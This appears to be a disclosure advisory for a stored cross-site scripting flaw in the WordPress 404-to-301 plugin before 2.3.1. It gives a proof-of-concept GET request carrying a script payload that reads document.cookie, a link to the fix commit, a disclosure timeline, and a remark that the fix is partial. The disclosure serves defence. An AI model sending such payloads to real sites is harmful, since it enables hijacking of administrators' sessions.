There is a stored XSS in the 404-to-301 WP plugin<2.3.1. Unauthenticated users can visit a specially crafted URL and the redirect path will be logged to the database. The redirection source is stored unescaped in the database, thus it is served as-is and evaluated in the browsers of logged-in admins when they check the redirection logs on http://wordpress/wp-admin/admin.php?page=i4t3-logs. Affected versions are <2.3.1.
A similar requests must be sent to the vulnerable server. Make sure to request a page serving a 404, ie by requesting a post with an unexisting post ID.
GET /?p=99999999999999999929"><script>alert(document.cookie)</script> HTTP/1.1
Host: wordpress
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close
https://github.com/joel-james/404-to-301/commit/7a4e2798eca79828c1611988289e06b6d9c18b61
08/25/16 Contacted maintainer via email
08/26/16 Maintainer acknowledges the bug
08/27/16 Maintainer releases patch
This is partially fixed in version 2.3.1 because the payload still is executed when loading the Custom Redirect edit dialog (press the link in the last column of the logs table)